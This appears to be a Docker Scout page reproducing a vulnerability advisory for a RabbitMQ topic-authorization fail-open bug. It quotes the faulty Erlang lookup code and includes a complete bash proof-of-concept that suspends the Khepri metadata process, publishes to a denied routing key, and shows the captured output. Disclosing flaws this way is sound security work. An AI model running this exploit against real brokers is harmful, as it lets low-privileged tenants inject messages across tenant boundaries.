CVE-2026-57217
ADVISORY - dockerSummary
Summary
RabbitMQ topic authorization allows restricted topic operations during metadata-store failures due to error collapsing in topic-permission lookup handling. The internal backend fetches topic permissions and treats undefined as allow, while the database helper returns undefined for any non-{ok, TopicPermission} Khepri response, including timeout/error paths. This turns transient Khepri lookup faults into authorization success for topic writes/binds that should remain denied. Executed validation reproduced this deterministically: denied before fault, allowed during Khepri timeout, denied again after recovery. Intended-behavior research also indicates this is not expected behavior because backend authorization contracts treat {error, Error} as an error path, not an implicit allow.
Impact
An authenticated low-privileged tenant can publish or bind to routing keys outside its configured topic regex during Khepri lookup failures, enabling unauthorized cross-tenant message routing in shared topic exchanges.
Description
The topic-permission read path first queries Khepri and collapses every non-{ok, TopicPermission} result to undefined.
get_topic_permissions(Username, VHostName, ExchangeName)
when is_binary(Username) andalso
is_binary(VHostName) andalso
is_binary(ExchangeName) ->
Path = khepri_topic_permission_path(Username, VHostName, ExchangeName),
case rabbit_khepri:get(Path) of
{ok, TopicPermission} -> TopicPermission;
_ -> undefined
end.
After that lookup, the internal authorization backend treats undefined as success for topic access.
check_topic_access(#auth_user{username = Username},
#resource{virtual_host = VHostPath, name = Name, kind = topic},
Permission,
Context) ->
case rabbit_db_user:get_topic_permissions(Username, VHostPath, Name) of
undefined ->
true;
#topic_permission{permission = P} ->
PermRegexp = case element(permission_index(Permission), P) of
The backend authorization contract explicitly defines {error, Error} as an error condition, so converting store errors into undefined and then allowing access violates expected validation flow.
%% Given #auth_user, topic as resource, permission, and context, can a user access the topic?
%%
%% Possible responses:
%% true
%% false
%% {false, Reason}
%% {error, Error}
%% Something went wrong. Log and die.
-callback check_topic_access(rabbit_types:auth_user(),
rabbit_types:r(atom()),
rabbit_types:permission_atom(),
rabbit_types:topic_access_context()) ->
boolean() | {false, Reason :: string()} | {'error', any()}.
The issue is triggered when a user with restricted topic permissions performs topic operations while Khepri returns timeout/error results, because the lookup failure is normalized to undefined and interpreted as allow instead of deny/error.
Proof of Concept (PoC)
The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.
The PoC demonstrates that topic authorization is correctly enforced before a metadata fault, fails open during a forced Khepri timeout, and returns to denial after recovery. It uses one standalone helper file and standard broker APIs/CLI only. The full helper file used in execution is included below.
validation-environments/finding-674/poc_topic_fail_open.sh
#!/usr/bin/env bash
set -euo pipefail
MGMT='http://127.0.0.1:15672/api'
ADMIN_USER='guest'
ADMIN_PASS='guest'
VHOST='poc-topic-674'
EXCHANGE='topic_ex'
QUEUE='victim_q'
ATT_USER='att_674'
ATT_PASS='attpass674'
req() {
local method="$1"; shift
local url="$1"; shift
local data="${1:-}"
if [ -n "$data" ]; then
curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -H 'content-type: application/json' -X "$method" "$url" -d "$data"
else
curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -X "$method" "$url"
fi
}
att_publish() {
local payload="$1"
curl -sS -i -u "$ATT_USER:$ATT_PASS" -H 'content-type: application/json' \
-X POST "$MGMT/exchanges/$VHOST/$EXCHANGE/publish" \
-d "{\"properties\":{},\"routing_key\":\"secret.1\",\"payload\":\"$payload\",\"payload_encoding\":\"string\"}"
}
echo '[*] Cleanup from previous runs'
req DELETE "$MGMT/users/$ATT_USER" >/dev/null || true
req DELETE "$MGMT/vhosts/$VHOST" >/dev/null || true
echo '[*] Create topology and users'
req PUT "$MGMT/vhosts/$VHOST" '{}'
req PUT "$MGMT/exchanges/$VHOST/$EXCHANGE" '{"type":"topic","durable":true,"auto_delete":false,"internal":false,"arguments":{}}'
req PUT "$MGMT/queues/$VHOST/$QUEUE" '{"auto_delete":false,"durable":true,"arguments":{}}'
req POST "$MGMT/bindings/$VHOST/e/$EXCHANGE/q/$QUEUE" '{"routing_key":"secret.#","arguments":{}}'
req PUT "$MGMT/users/$ATT_USER" "{\"password\":\"$ATT_PASS\",\"tags\":\"management\"}"
req PUT "$MGMT/permissions/$VHOST/$ATT_USER" '{"configure":".*","write":".*","read":".*"}'
req PUT "$MGMT/topic-permissions/$VHOST/$ATT_USER" '{"exchange":"topic_ex","write":"^public\\\\..*","read":"^public\\\\..*"}'
echo '[*] Baseline publish should be denied by topic permission'
att_publish 'blocked-before'
echo '[*] Find and suspend Khepri Ra server'
PID=$(docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), io:format("~p", [Pid]).' | tr -d '\r')
echo "KHEPRI_PID=$PID"
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:suspend(Pid), Pid.'
echo '[*] Confirm Khepri lookup now errors'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'rabbit_khepri:get([rabbitmq], #{timeout => 1000}).'
echo '[*] Exploit publish during Khepri error'
att_publish 'bypass-during-khepri-error'
echo '[*] Read queue content as evidence of unauthorized routing'
req POST "$MGMT/queues/$VHOST/$QUEUE/get" '{"count":5,"ackmode":"ack_requeue_false","encoding":"auto","truncate":50000}'
echo '[*] Resume Khepri'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:resume(Pid), Pid.'
echo '[*] Verify denial returns after resume'
att_publish 'blocked-after-resume'
PoC Steps
- Ensure a running RabbitMQ broker with management API on
127.0.0.1:15672and CLI access viarabbitmqctlinside the broker container. - Create directory
validation-environments/finding-674. - Create file
validation-environments/finding-674/poc_topic_fail_open.shwith the exact content shown above. - Run
chmod +x validation-environments/finding-674/poc_topic_fail_open.sh. - Run
bash validation-environments/finding-674/poc_topic_fail_open.sh. - Observe baseline publish denial for
secret.1, then forced Khepri timeout, then publish success during timeout, then denial again after resume.
PoC Results
Observed stdout/stderr from the executed run:
[*] Baseline publish should be denied by topic permission
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}
[*] Confirm Khepri lookup now errors
{error,timeout}
[*] Exploit publish during Khepri error
HTTP/1.1 200 OK
...
{"routed":true}
[*] Read queue content as evidence of unauthorized routing
[{"payload_bytes":26,"redelivered":false,"exchange":"topic_ex","routing_key":"secret.1","message_count":0,"properties":[],"payload":"bypass-during-khepri-error","payload_encoding":"string"}]
[*] Verify denial returns after resume
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}
The results show a real fail-open authorization bypass limited to the Khepri lookup error window: policy-denied topic publish becomes accepted and routed, then returns to denied when metadata lookup recovers.
Common Weakness Enumeration (CWE)
Sign in to Docker Scout
See which of your images are affected by this CVE and how to fix them by signing into Docker Scout.
Sign in